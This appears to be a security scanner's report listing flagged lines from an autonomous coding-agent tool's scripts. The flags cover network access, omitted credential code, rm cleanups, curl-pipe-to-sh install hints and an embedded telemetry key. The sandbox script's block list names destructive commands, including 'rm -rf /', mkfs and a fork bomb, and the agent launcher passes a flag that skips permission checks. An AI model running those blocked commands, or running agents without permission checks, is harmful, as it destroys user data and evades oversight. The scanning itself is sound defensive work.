command -v curl >/dev/null 2>&1 || return 0 - Network accessline 3437
local endpoint="" case "$provider" in claude) endpoint="https://api.anthropic.com" ;; - Network accessline 3438
case "$provider" in claude) endpoint="https://api.anthropic.com" ;; *) return 0 ;; # unknown endpoint -> fail open, never guess - Network accessline 3439
claude) endpoint="https://api.anthropic.com" ;; - Network accessline 3443
# Advisory only: a fast curl probe failing does NOT prove the provider CLI - Network accessline 3448
if ! curl -sS -m 3 -o /dev/null "$endpoint" 2>/dev/null; then - Access to secretsline 3478
[Credential-related source omitted] - Access to secretsline 3479
[Credential-related source omitted] - Access to secretsline 3486
[Credential-related source omitted] - Access to secretsline 3488
[Credential-related source omitted] - Access to secretsline 3505
[Credential-related source omitted] - Access to secretsline 3514
[Credential-related source omitted] - Access to secretsline 3530
[Credential-related source omitted] - Access to secretsline 3537
[Credential-related source omitted] - Access to secretsline 3544
[Credential-related source omitted] - Access to secretsline 3586
[Credential-related source omitted] - Access to secretsline 3605
[Credential-related source omitted] - Network accessline 3923
# Extract owner/repo from various URL formats # https://github.com/owner/repo.git - Network accessline 3924
# https://github.com/owner/repo.git - Dangerous shell operationline 4008
rm -f "$_tmp_normalize" - Dangerous shell operationline 4090
rm -f "$temp_file" - Access to secretsline 4219
[Credential-related source omitted] - Access to secretsline 4247
[Credential-related source omitted] - Access to secretsline 4484
[Credential-related source omitted] - Access to secretsline 4723
[Credential-related source omitted] - Access to secretsline 4785
[Credential-related source omitted] - Access to secretsline 4941
[Credential-related source omitted] - Dangerous shell operationline 5083
echo " rm .loki/PAUSE # resume this run" - Access to secretsline 5170
[Credential-related source omitted] - Access to secretsline 5182
[Credential-related source omitted] - Access to secretsline 5190
[Credential-related source omitted] - Access to secretsline 5193
[Credential-related source omitted] - Access to secretsline 5194
[Credential-related source omitted] - Access to secretsline 5195
[Credential-related source omitted] - Access to secretsline 5196
[Credential-related source omitted] - Access to secretsline 5197
[Credential-related source omitted] - Access to secretsline 5198
[Credential-related source omitted] - Access to secretsline 5199
[Credential-related source omitted] - Access to secretsline 5200
[Credential-related source omitted] - Access to secretsline 5201
[Credential-related source omitted] - Access to secretsline 5202
[Credential-related source omitted] - Access to secretsline 5203
[Credential-related source omitted] - Access to secretsline 5204
[Credential-related source omitted] - Access to secretsline 5268
[Credential-related source omitted] - Access to secretsline 5269
[Credential-related source omitted] - Access to secretsline 5271
[Credential-related source omitted] - Access to secretsline 5512
[Credential-related source omitted] - Access to secretsline 5529
[Credential-related source omitted] - Access to secretsline 5531
[Credential-related source omitted] - Access to secretsline 5533
[Credential-related source omitted] - Network accessline 5534
# does not stop the keyring lookup. # 2. git's own `credential.helper` (`gh auth setup-git` wires # `credential.https://github.com.helper = !gh auth git-credential`, and a - Network accessline 5535
# 2. git's own `credential.helper` (`gh auth setup-git` wires # `credential.https://github.com.helper = !gh auth git-credential`, and a # plain `osxkeychain`/`libsecret`/etc. helper may ALSO be configured, - Network accessline 5536
# `credential.https://github.com.helper = !gh auth git-credential`, and a - Access to secretsline 5542
[Credential-related source omitted] - Access to secretsline 5553
[Credential-related source omitted] - Access to secretsline 5555
[Credential-related source omitted] - Access to secretsline 5557
[Credential-related source omitted] - Access to secretsline 5564
[Credential-related source omitted] - Access to secretsline 5584
[Credential-related source omitted] - Access to secretsline 5603
[Credential-related source omitted] - Access to secretsline 5604
[Credential-related source omitted] - Access to secretsline 5625
[Credential-related source omitted] - Access to secretsline 5650
[Credential-related source omitted] - Dangerous shell operationline 5661
[Credential-related source omitted] - Access to secretsline 5661
[Credential-related source omitted] - Access to secretsline 5663
[Credential-related source omitted] - Access to secretsline 5664
[Credential-related source omitted] - Access to secretsline 5666
[Credential-related source omitted] - Access to secretsline 5765
[Credential-related source omitted] - Access to secretsline 5788
[Credential-related source omitted] - Access to secretsline 5789
[Credential-related source omitted] - Access to secretsline 5790
[Credential-related source omitted] - Access to secretsline 5791
[Credential-related source omitted] - Access to secretsline 5866
[Credential-related source omitted] - Network accessline 5980
# Echo OWNER/REPO for a github.com origin URL, else fail. Accepted forms: # https://github.com/O/R[.git][/], git@github.com:O/R[.git][/], - Network accessline 5981
# https://github.com/O/R[.git][/], git@github.com:O/R[.git][/], - Network accessline 5988
_lc="$(printf '%s' "$_u" | tr '[:upper:]' '[:lower:]')" case "$_lc" in https://github.com/*) _pre="https://github.com/" ;; - Network accessline 5989
case "$_lc" in https://github.com/*) _pre="https://github.com/" ;; git@github.com:*) _pre="git@github.com:" ;; - Network accessline 5990
https://github.com/*) _pre="https://github.com/" ;; - Access to secretsline 6013
[Credential-related source omitted] - Network accessline 6060
# repo's branch gets no upstream set (it did with `push -u`); nothing reads it. # Optional <dest> OWNER/REPO (engine10-push.sh fork mode): the pinned origin is # still validated, then the push goes to https://github.com/<dest>.git, a fork - Network accessline 6061
# Optional <dest> OWNER/REPO (engine10-push.sh fork mode): the pinned origin is # still validated, then the push goes to https://github.com/<dest>.git, a fork # the push child resolved from gh and checked, never a value from the tree. - Network accessline 6062
# still validated, then the push goes to https://github.com/<dest>.git, a fork - Network accessline 6089
local _origin_url="$_url" if [ -n "$_dest" ]; then if ! _loki_github_repo_from_url "https://github.com/${_dest}.git" >/dev/null; then - Network accessline 6090
if [ -n "$_dest" ]; then if ! _loki_github_repo_from_url "https://github.com/${_dest}.git" >/dev/null; then log_warn "Not pushing branch '$_branch': fork destination '$_dest' is not a plain OWNER/REPO." - Network accessline 6091
if ! _loki_github_repo_from_url "https://github.com/${_dest}.git" >/dev/null; then - Network accessline 6093
return 2 fi _repo="$_dest" _url="https://github.com/${_dest}.git" - Network accessline 6094
fi _repo="$_dest" _url="https://github.com/${_dest}.git" fi - Network accessline 6095
_repo="$_dest" _url="https://github.com/${_dest}.git" - Dangerous shell operationline 6148
rm -rf "$_tmp" - Access to secretsline 6162
[Credential-related source omitted] - Access to secretsline 6173
[Credential-related source omitted] - Access to secretsline 6176
[Credential-related source omitted] - Access to secretsline 6177
[Credential-related source omitted] - Access to secretsline 6389
[Credential-related source omitted] - Access to secretsline 6392
[Credential-related source omitted] - Access to secretsline 6395
[Credential-related source omitted] - Access to secretsline 6398
[Credential-related source omitted] - Access to secretsline 6399
[Credential-related source omitted] - Dangerous shell operationline 6406
rm -f "$plan_file" - Access to secretsline 6423
[Credential-related source omitted] - Access to secretsline 6424
[Credential-related source omitted] - Access to secretsline 6426
[Credential-related source omitted] - Access to secretsline 6427
[Credential-related source omitted] - Access to secretsline 6428
[Credential-related source omitted] - Dangerous shell operationline 6433
rm -f "$result_file" - Dangerous shell operationline 6449
log_error " macOS: brew install bash && sudo chsh -s /opt/homebrew/bin/bash" - Dangerous shell operationline 6450
log_error " Ubuntu: sudo apt install bash" - Dangerous shell operationline 6476
rm -rf "$wt/node_modules" - Dangerous shell operationline 6480
rm -rf "$wt/node_modules" - Dangerous shell operationline 6486
mv "$entry" "$aside" 2>/dev/null && rm -rf "$aside" 2>/dev/null - Dangerous shell operationline 6497
rm -rf "$tmp" - Dangerous shell operationline 6500
rm -rf "${entry:?}/${tmp##*/}" "$tmp" 2>/dev/null - Dangerous shell operationline 6505
mv "$cache_root/$old" "$aside" 2>/dev/null && rm -rf "$aside" - Dangerous shell operationline 6508
rm -rf "$tmp" - Dangerous shell operationline 6598
git -C "$TARGET_DIR" worktree remove "$worktree_path" --force 2>/dev/null || rm -rf "$worktree_path" 2>/dev/null || true - Dangerous shell operationline 6599
rm -rf "$worktree_path" 2>/dev/null || true - Dangerous shell operationline 6629
# Remove worktree (with safety check for rm -rf) - Dangerous shell operationline 6636
rm -rf "$worktree_path" 2>/dev/null - Dangerous shell operationline 6638
log_warn "Skipping unsafe rm -rf for path: $worktree_path" - Instruction override signalline 6856
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Dangerous shell operationline 6891
rm -f "$_sig_tmp" 2>/dev/null - Dangerous shell operationline 6902
rm -f "$_fail_tmp" 2>/dev/null - Dangerous shell operationline 6959
rm -f "$signal_file" - Instruction override signalline 7086
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Access to secretsline 7132
[Credential-related source omitted] - Access to secretsline 7133
[Credential-related source omitted] - Dangerous shell operationline 7169
rm -f "$TARGET_DIR/.loki/signals/MERGE_REQUESTED_$feature" \ - Dangerous shell operationline 7308
rm -f "$queued_signal" - Network accessline 7379
case "$cli_name" in claude) log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code" - Network accessline 7380
claude) log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code" ;; - Network accessline 7381
log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code" - Network accessline 7444
# Check curl (for web fetches) - Network accessline 7445
log_step "Checking curl..." if command -v curl &> /dev/null; then - Network accessline 7446
if command -v curl &> /dev/null; then - Network accessline 7448
else missing+=("curl") log_error "curl not found" - Network accessline 7449
missing+=("curl") log_error "curl not found" fi - Network accessline 7450
log_error "curl not found" - Dangerous shell operationline 7553
rm -f "$session_pid_file" 2>/dev/null - Dangerous shell operationline 7554
rm -f "$lock_file" 2>/dev/null - Dangerous shell operationline 7555
rm -rf "${lock_file}.lockdir" 2>/dev/null - Dangerous shell operationline 7576
rm -f .loki/PAUSE .loki/STOP .loki/HUMAN_INPUT.md 2>/dev/null - Dangerous shell operationline 7577
rm -f .loki/PAUSE_AT_CHECKPOINT .loki/PAUSED.md .loki/COMPLETED 2>/dev/null - Dangerous shell operationline 7578
rm -f .loki/loki.pid 2>/dev/null - Dangerous shell operationline 7579
rm -f .loki/session.lock 2>/dev/null - Dangerous shell operationline 7580
rm -rf .loki/session.lock.lockdir 2>/dev/null - Dangerous shell operationline 7605
# or read it: the only reference in the whole codebase was the rm -f below. - Dangerous shell operationline 7610
rm -f .loki/metrics/efficiency/iteration-*.json 2>/dev/null || true - Dangerous shell operationline 7619
rm -f .loki/state/last-proof-id.txt 2>/dev/null || true - Access to secretsline 7720
[Credential-related source omitted] - Access to secretsline 7744
[Credential-related source omitted] - Access to secretsline 7745
[Credential-related source omitted] - Dangerous shell operationline 8093
# suspenders. `|| rm -f "$_tmp_state" 2>/dev/null` cleans up the tmp - Dangerous shell operationline 8095
mv "$_tmp_state" "$output_file" 2>/dev/null || rm -f "$_tmp_state" 2>/dev/null - Dangerous shell operationline 8482
rm -f "$gitc_paths_file" - Dangerous shell operationline 8501
rm -f "$gitc_paths_file" "$gitc_deleted_file" - Access to secretsline 8627
[Credential-related source omitted] - Access to secretsline 8638
[Credential-related source omitted] - Access to secretsline 8645
[Credential-related source omitted] - Access to secretsline 8774
[Credential-related source omitted] - Access to secretsline 8795
[Credential-related source omitted] - Access to secretsline 8798
[Credential-related source omitted] - Access to secretsline 8825
[Credential-related source omitted] - Access to secretsline 8837
[Credential-related source omitted] - Access to secretsline 8838
[Credential-related source omitted] - Access to secretsline 8839
[Credential-related source omitted] - Dangerous shell operationline 8843
" > "$tmp" 2>/dev/null && mv -f "$tmp" "$loki_dir/state/prd-signature.json" 2>/dev/null || rm -f "$tmp" 2>/dev/null - Dangerous shell operationline 8873
cp -f "$src" "$tmp_prd" 2>/dev/null || { rm -f "$tmp_prd" 2>/dev/null; echo ""; return 0; } - Dangerous shell operationline 8874
mv -f "$tmp_prd" "$dest" 2>/dev/null || { rm -f "$tmp_prd" 2>/dev/null; echo ""; return 0; } - Access to secretsline 8893
[Credential-related source omitted] - Access to secretsline 8896
[Credential-related source omitted] - Access to secretsline 8897
[Credential-related source omitted] - Access to secretsline 8898
[Credential-related source omitted] - Access to secretsline 8900
[Credential-related source omitted] - Dangerous shell operationline 8903
" > "$sig_tmp" 2>/dev/null && mv -f "$sig_tmp" "$loki_dir/state/prd-signature.json" 2>/dev/null || rm -f "$sig_tmp" 2>/dev/null - Dangerous shell operationline 8905
|| rm -f "$sig_tmp" 2>/dev/null - Dangerous shell operationline 8962
mv -f "${_id_file}.tmp" "$_id_file" 2>/dev/null || rm -f "${_id_file}.tmp" 2>/dev/null || true - Access to secretsline 9361
[Credential-related source omitted] - Access to secretsline 9362
[Credential-related source omitted] - Access to secretsline 9363
[Credential-related source omitted] - Access to secretsline 9364
[Credential-related source omitted] - Access to secretsline 9365
[Credential-related source omitted] - Access to secretsline 9366
[Credential-related source omitted] - Access to secretsline 9367
[Credential-related source omitted] - Access to secretsline 9368
[Credential-related source omitted] - Access to secretsline 9369
[Credential-related source omitted] - Access to secretsline 9370
[Credential-related source omitted] - Dangerous shell operationline 9520
mv -f "$tmp_file" "$output_file" 2>/dev/null || rm -f "$tmp_file" - Access to secretsline 9782
[Credential-related source omitted] - Access to secretsline 9785
[Credential-related source omitted] - Dangerous shell operationline 9889
rm -f "$_staged_paths" - Dangerous shell operationline 9899
rm -f "$_staged_paths" - Dangerous shell operationline 10033
rm -f .loki/state/preexisting-untracked.sha.z 2>/dev/null - Dangerous shell operationline 10037
# snapshot (old code: `rm -f` here too) makes the receipt treat EVERY - Dangerous shell operationline 10047
gittool="$(_loki_snapshot_git_tool)" && "$gittool" ls-files --others --exclude-standard -z > .loki/state/preexisting-untracked.z.tmp 2>/dev/null && mv .loki/state/preexisting-untracked.z.tmp .loki/state/preexisting - Dangerous shell operationline 10050
|| rm -f .loki/state/preexisting-untracked.z .loki/state/preexisting-untracked.z.tmp 2>/dev/null - Dangerous shell operationline 10067
rm -f .loki/state/session-created.z 2>/dev/null - Dangerous shell operationline 10079
rm -f .loki/state/tracked-since.sha .loki/state/turn-in-flight 2>/dev/null - Dangerous shell operationline 10105
rm -f .loki/state/preexisting-untracked.failed 2>/dev/null - Dangerous shell operationline 10527
rm -f .loki/state/session-created.z 2>/dev/null - Dangerous shell operationline 10558
# commit`) that would otherwise skip its own rm -f cleanup and leave a - Dangerous shell operationline 10575
rm -f "$path" 2>/dev/null - Dangerous shell operationline 10694
rm -f "${snap%.z}.sha.z" 2>/dev/null - Dangerous shell operationline 10710
rm -f "$tracked" - Dangerous shell operationline 10716
rm -f "$tracked" "$snap.status" "$snap.tmp" - Dangerous shell operationline 10719
rm -f "$tracked" "$snap.status" - Dangerous shell operationline 10814
rm -f "${1}.filters" - Dangerous shell operationline 10831
rm -f "$1" - Dangerous shell operationline 10937
"$gittool" -C "$top" diff --name-only -z --no-renames --diff-filter=A "$anchor" HEAD > "$out.tmp" 2>/dev/null || { rm -f "$out.tmp"; return 1; } - Dangerous shell operationline 10938
|| { rm -f "$out.tmp"; return 1; } - Dangerous shell operationline 10973
rm -f .loki/state/tracked-since.sha.tmp 2>/dev/null - Dangerous shell operationline 10977
rm -f .loki/state/turn-in-flight 2>/dev/null
autonomy/sandbox.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Dangerous shell operationline 188
local _default_blocked='rm -rf /,dd if=,mkfs,:(){ :|:& };:' - Network accessline 205
if command -v lsof &>/dev/null; then ! lsof -i ":$port" &>/dev/null elif command -v nc &>/dev/null; then - Network accessline 206
! lsof -i ":$port" &>/dev/null elif command -v nc &>/dev/null; then ! nc -z localhost "$port" 2>/dev/null - Network accessline 207
elif command -v nc &>/dev/null; then - Network accessline 208
! nc -z localhost "$port" 2>/dev/null - Access to secretsline 237
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 242
[Credential-related source omitted] - Access to secretsline 243
[Credential-related source omitted] - Dangerous shell operationline 252
docker rm -f "$CONTAINER_NAME" 2>/dev/null || true - Network accessline 259
log_error "Docker not found. Install Docker to use sandbox mode." log_error " macOS: brew install --cask docker" log_error " Linux: curl -fsSL https://get.docker.com | sh" - Network accessline 260
log_error " macOS: brew install --cask docker" log_error " Linux: curl -fsSL https://get.docker.com | sh" exit 1 - Dangerous shell operationline 261
log_error " Linux: curl -fsSL https://get.docker.com | sh" - Network accessline 261
log_error " Linux: curl -fsSL https://get.docker.com | sh" - Dangerous shell operationline 469
rm -f "$WORKTREE_STATE_FILE" - Dangerous shell operationline 529
git worktree remove "$sandbox_path" --force 2>/dev/null || rm -rf "$sandbox_path" 2>/dev/null - Dangerous shell operationline 537
rm -f "$WORKTREE_STATE_FILE" - Dangerous shell operationline 657
rm -f "$WORKTREE_STATE_FILE" 2>/dev/null - Access to secretsline 669
[Credential-related source omitted] - Access to secretsline 726
[Credential-related source omitted] - Access to secretsline 727
[Credential-related source omitted] - Access to secretsline 728
[Credential-related source omitted] - Access to secretsline 730
[Credential-related source omitted] - Access to secretsline 731
[Credential-related source omitted] - Access to secretsline 732
[Credential-related source omitted] - Access to secretsline 734
[Credential-related source omitted] - Access to secretsline 735
[Credential-related source omitted] - Access to secretsline 736
[Credential-related source omitted] - Access to secretsline 738
[Credential-related source omitted] - Access to secretsline 739
[Credential-related source omitted] - Access to secretsline 742
[Credential-related source omitted] - Access to secretsline 743
[Credential-related source omitted] - Dangerous shell operationline 750
# foreground/blocking "docker sandbox exec" (see start_docker_desktop_sandbox), - Dangerous shell operationline 769
trap "rm -f -- '$_env_file'" EXIT - Dangerous shell operationline 772
rm -f -- "$_env_file" - Dangerous shell operationline 870
docker sandbox rm "$DESKTOP_SANDBOX_NAME" 2>/dev/null || true - Access to secretsline 1096
[Credential-related source omitted] - Access to secretsline 1097
[Credential-related source omitted] - Network accessline 1169
c.sendall(b"HTTP/1.1 403 Forbidden\r\nContent-Length: 0\r\n\r\n") return up = socket.create_connection((info, port), timeout=20) - Network accessline 1170
return up = socket.create_connection((info, port), timeout=20) if method.upper() == "CONNECT": - Network accessline 1171
up = socket.create_connection((info, port), timeout=20) - Network accessline 1185
def main(): s = socket.socket() - Network accessline 1186
s = socket.socket() - Access to secretsline 1188
[Credential-related source omitted] - Network accessline 1202
_sandbox_egress_container_args() { local net="$1" proxy="http://${CONTAINER_NAME}-egress:${EGRESS_PROXY_PORT}" - Network accessline 1203
local net="$1" proxy="http://${CONTAINER_NAME}-egress:${EGRESS_PROXY_PORT}" - Dangerous shell operationline 1234
if ! { mkdir -p "$(dirname "$rec")" && chmod 700 "$(dirname "$rec")" && printf '%s\n' "$dir" > "$rec"; }; then rm -rf -- "$dir"; return 1; fi - Dangerous shell operationline 1239
docker rm -f "${CONTAINER_NAME}-egress" >/dev/null 2>&1 || true - Dangerous shell operationline 1240
docker network rm "$net" >/dev/null 2>&1 || true - Dangerous shell operationline 1263
rm -rf -- "$fb" - Dangerous shell operationline 1265
rm -f -- "$rec" - Dangerous shell operationline 1267
docker rm -f "${CONTAINER_NAME}-egress" >/dev/null 2>&1 || true - Dangerous shell operationline 1268
docker network rm "${CONTAINER_NAME}-internal" >/dev/null 2>&1 || true - Dangerous shell operationline 1344
docker rm -f "$CONTAINER_NAME" 2>/dev/null || true - Access to secretsline 1477
[Credential-related source omitted] - Access to secretsline 1479
[Credential-related source omitted] - Access to secretsline 1480
[Credential-related source omitted] - Access to secretsline 1536
[Credential-related source omitted] - Access to secretsline 1537
[Credential-related source omitted] - Access to secretsline 1539
[Credential-related source omitted] - Access to secretsline 1540
[Credential-related source omitted] - Access to secretsline 1542
[Credential-related source omitted] - Access to secretsline 1543
[Credential-related source omitted] - Access to secretsline 1545
[Credential-related source omitted] - Access to secretsline 1546
[Credential-related source omitted] - Access to secretsline 1548
[Credential-related source omitted] - Access to secretsline 1549
[Credential-related source omitted] - Network accessline 1605
log_info "" log_info "Access:" log_info " Dashboard: http://localhost:$DASHBOARD_PORT" - Network accessline 1606
log_info "Access:" log_info " Dashboard: http://localhost:$DASHBOARD_PORT" log_info " API: http://localhost:$API_PORT" - Network accessline 1607
log_info " Dashboard: http://localhost:$DASHBOARD_PORT" - Network accessline 1608
log_info " API: http://localhost:$API_PORT" - Dangerous shell operationline 1647
rm -rf -- "$_state_dir" 2>/dev/null || true - Dangerous shell operationline 1658
docker rm -f "$CONTAINER_NAME" 2>/dev/null || true - Dangerous shell operationline 1662
rm -rf -- "$_state_dir" 2>/dev/null || true - Network accessline 1809
log_info "Access the app at:" log_info " http://localhost:$port" - Network accessline 1810
log_info " http://localhost:$port" - Network accessline 1952
echo "" echo " Check deployment status:" echo " loki sandbox run 'curl -s http://localhost:3000/health'" - Network accessline 1953
echo " Check deployment status:" echo " loki sandbox run 'curl -s http://localhost:3000/health'" ;; - Network accessline 1954
echo " loki sandbox run 'curl -s http://localhost:3000/health'"
autonomy/serve.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 96
[Credential-related source omitted] - Network accessline 103
[Credential-related source omitted] - Network accessline 123
echo "" echo "Install Deno:" echo " curl -fsSL https://deno.land/install.sh | sh" - Network accessline 124
echo "Install Deno:" echo " curl -fsSL https://deno.land/install.sh | sh" echo " # or" - Dangerous shell operationline 125
echo " curl -fsSL https://deno.land/install.sh | sh" - Network accessline 125
echo " curl -fsSL https://deno.land/install.sh | sh" - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted]
autonomy/setup-wizard.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 6
# # REQUIRED (doctor fails without them): node >= 20, python3 >= 3.8, jq, git, curl # AT LEAST ONE of: a provider CLI (claude, opencode) or the - Network accessline 7
# REQUIRED (doctor fails without them): node >= 20, python3 >= 3.8, jq, git, curl # AT LEAST ONE of: a provider CLI (claude, opencode) or the # bundled Claude Agent SDK with credentials. Claude Code is the default. - Network accessline 88
echo "" echo "1. Required tools" _lsw_tool node REQUIRED "$(_lsw_fix node "install Node 20+ from https://nodejs.org")" || true - Network accessline 89
echo "1. Required tools" _lsw_tool node REQUIRED "$(_lsw_fix node "install Node 20+ from https://nodejs.org")" || true _lsw_tool python3 REQUIRED "$(_lsw_fix python3 "install python3")" || true - Network accessline 90
_lsw_tool node REQUIRED "$(_lsw_fix node "install Node 20+ from https://nodejs.org")" || true - Network accessline 92
_lsw_tool jq REQUIRED "$(_lsw_fix jq "install jq")" || true _lsw_tool git REQUIRED "$(_lsw_fix git "install git")" || true _lsw_tool curl REQUIRED "$(_lsw_fix curl "install curl")" || true - Network accessline 93
_lsw_tool git REQUIRED "$(_lsw_fix git "install git")" || true _lsw_tool curl REQUIRED "$(_lsw_fix curl "install curl")" || true _lsw_tool bun OPTIONAL "$(_lsw_fix bun "bundled by npm; else see https://bun.sh")" || true - Network accessline 94
_lsw_tool curl REQUIRED "$(_lsw_fix curl "install curl")" || true - Network accessline 95
_lsw_tool bun OPTIONAL "$(_lsw_fix bun "bundled by npm; else see https://bun.sh")" || true - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted]
autonomy/spec-interrogation.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 302
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 305
[Credential-related source omitted] - Access to secretsline 306
[Credential-related source omitted] - Access to secretsline 307
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 620
[Credential-related source omitted] - Access to secretsline 703
[Credential-related source omitted] - Access to secretsline 704
[Credential-related source omitted] - Access to secretsline 851
[Credential-related source omitted] - Access to secretsline 882
[Credential-related source omitted] - Access to secretsline 975
[Credential-related source omitted] - Access to secretsline 1033
[Credential-related source omitted] - Access to secretsline 1034
[Credential-related source omitted] - Access to secretsline 1082
[Credential-related source omitted] - Access to secretsline 1109
[Credential-related source omitted]
autonomy/spec.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 366
[Credential-related source omitted] - Access to secretsline 368
[Credential-related source omitted] - Access to secretsline 371
[Credential-related source omitted] - Access to secretsline 372
[Credential-related source omitted] - Access to secretsline 374
[Credential-related source omitted] - Access to secretsline 375
[Credential-related source omitted] - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Access to secretsline 469
[Credential-related source omitted] - Access to secretsline 487
[Credential-related source omitted] - Access to secretsline 491
[Credential-related source omitted] - Access to secretsline 492
[Credential-related source omitted] - Access to secretsline 493
[Credential-related source omitted] - Access to secretsline 494
[Credential-related source omitted] - Access to secretsline 499
[Credential-related source omitted] - Access to secretsline 500
[Credential-related source omitted] - Access to secretsline 501
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 552
[Credential-related source omitted] - Dangerous shell operationline 775
rm -f -- "${res:?}" - Dangerous shell operationline 777
rm -f -- "${rec:?}"
autonomy/telemetry.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 59
_LOKI_TELEMETRY_SELF_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" 2>/dev/null && pwd -P)" || _LOKI_TELEMETRY_SELF_DIR="" fi LOKI_POSTHOG_HOST="${LOKI_TELEMETRY_ENDPOINT:-https://us.i.posthog.com}" - Network accessline 60
fi LOKI_POSTHOG_HOST="${LOKI_TELEMETRY_ENDPOINT:-https://us.i.posthog.com}" LOKI_POSTHOG_KEY="phc_ya0vGBru41AJWtGNfZZ8H9W4yjoZy4KON0nnayS7s87" - Network accessline 61
LOKI_POSTHOG_HOST="${LOKI_TELEMETRY_ENDPOINT:-https://us.i.posthog.com}" - Network accessline 98
# 3. Else enterprise/CI/air-gapped -> 1 (auto-off, safe out of the box) # 4. Else (individual default) -> 0 (on, anonymous diagnostics) # All enabled paths still require curl (no egress tool -> off). - Network accessline 100
# All enabled paths still require curl (no egress tool -> off). - Network accessline 113
if [ "$_telem_lower" = "on" ]; then command -v curl >/dev/null 2>&1 || return 1 - Network accessline 114
command -v curl >/dev/null 2>&1 || return 1 - Network accessline 116
fi if [ -f "${HOME}/.loki/config" ] && grep -q "^TELEMETRY_ENABLED=true" "${HOME}/.loki/config" 2>/dev/null; then command -v curl >/dev/null 2>&1 || return 1 - Network accessline 117
if [ -f "${HOME}/.loki/config" ] && grep -q "^TELEMETRY_ENABLED=true" "${HOME}/.loki/config" 2>/dev/null; then command -v curl >/dev/null 2>&1 || return 1 return 0 - Network accessline 118
command -v curl >/dev/null 2>&1 || return 1 - Network accessline 126
command -v curl >/dev/null 2>&1 || return 1 - Network accessline 283
# loki_telemetry <event> [key=value...]: the ONE send path of the bash senders. # Order is load-bearing: the opt-out gate runs before anything else, so with # LOKI_TELEMETRY=off or DO_NOT_TRACK=1 no python, no curl and no network code is - Network accessline 284
# Order is load-bearing: the opt-out gate runs before anything else, so with # LOKI_TELEMETRY=off or DO_NOT_TRACK=1 no python, no curl and no network code is # reached. Then every key and value is filtered through - Network accessline 285
# LOKI_TELEMETRY=off or DO_NOT_TRACK=1 no python, no curl and no network code is - Access to secretsline 321
[Credential-related source omitted] - Network accessline 347
(curl -sS --max-time 3 -X POST "${LOKI_POSTHOG_HOST}/capture/" \
autonomy/trigger-schedule.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/trigger-server.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 371
[Credential-related source omitted] - Access to secretsline 374
[Credential-related source omitted] - Access to secretsline 512
[Credential-related source omitted] - Access to secretsline 516
[Credential-related source omitted] - Access to secretsline 524
[Credential-related source omitted] - Access to secretsline 633
[Credential-related source omitted] - Access to secretsline 646
[Credential-related source omitted] - Network accessline 698
env = _scoped_child_env() env["_LOKI_ORIGIN_PINNED"] = "1" env["_LOKI_PINNED_ORIGIN"] = "https://github.com/%s.git" % repo_full_name - Network accessline 699
env["_LOKI_ORIGIN_PINNED"] = "1" env["_LOKI_PINNED_ORIGIN"] = "https://github.com/%s.git" % repo_full_name proc = subprocess.run(["bash", str(script), "issue-comment", ref, body], - Network accessline 700
env["_LOKI_PINNED_ORIGIN"] = "https://github.com/%s.git" % repo_full_name - Access to secretsline 760
[Credential-related source omitted] - Access to secretsline 795
[Credential-related source omitted] - Access to secretsline 824
[Credential-related source omitted] - Network accessline 966
SIGNATURE_MAX_SKEW_S = 300 SLACK_REPLY_PREFIX = "https://hooks.slack.com/" - Network accessline 967
SLACK_REPLY_PREFIX = "https://hooks.slack.com/" - Network accessline 968
LINEAR_API_URL = "https://api.linear.app/graphql" - Access to secretsline 1010
[Credential-related source omitted] - Access to secretsline 1013
[Credential-related source omitted] - Access to secretsline 1014
[Credential-related source omitted] - Possible obfuscationline 1051
key = base64.b64decode(token, validate=True) - Access to secretsline 1176
[Credential-related source omitted] - Access to secretsline 1177
[Credential-related source omitted] - Access to secretsline 1207
[Credential-related source omitted] - Access to secretsline 1221
[Credential-related source omitted] - Access to secretsline 1222
[Credential-related source omitted] - Access to secretsline 1223
[Credential-related source omitted] - Access to secretsline 1270
[Credential-related source omitted] - Access to secretsline 1338
[Credential-related source omitted] - Access to secretsline 2168
[Credential-related source omitted] - Access to secretsline 2565
[Credential-related source omitted] - Access to secretsline 2580
[Credential-related source omitted] - Access to secretsline 2581
[Credential-related source omitted] - Access to secretsline 2595
[Credential-related source omitted] - Access to secretsline 2598
[Credential-related source omitted] - Access to secretsline 2599
[Credential-related source omitted] - Access to secretsline 2600
[Credential-related source omitted] - Network accessline 2630
mode_label = " [DRY-RUN]" if dry_run else "" logging.info("Loki trigger server starting on port %d%s", port, mode_label) logging.info("Webhook endpoint: POST http://localhost:%d/webhook", port) - Network accessline 2631
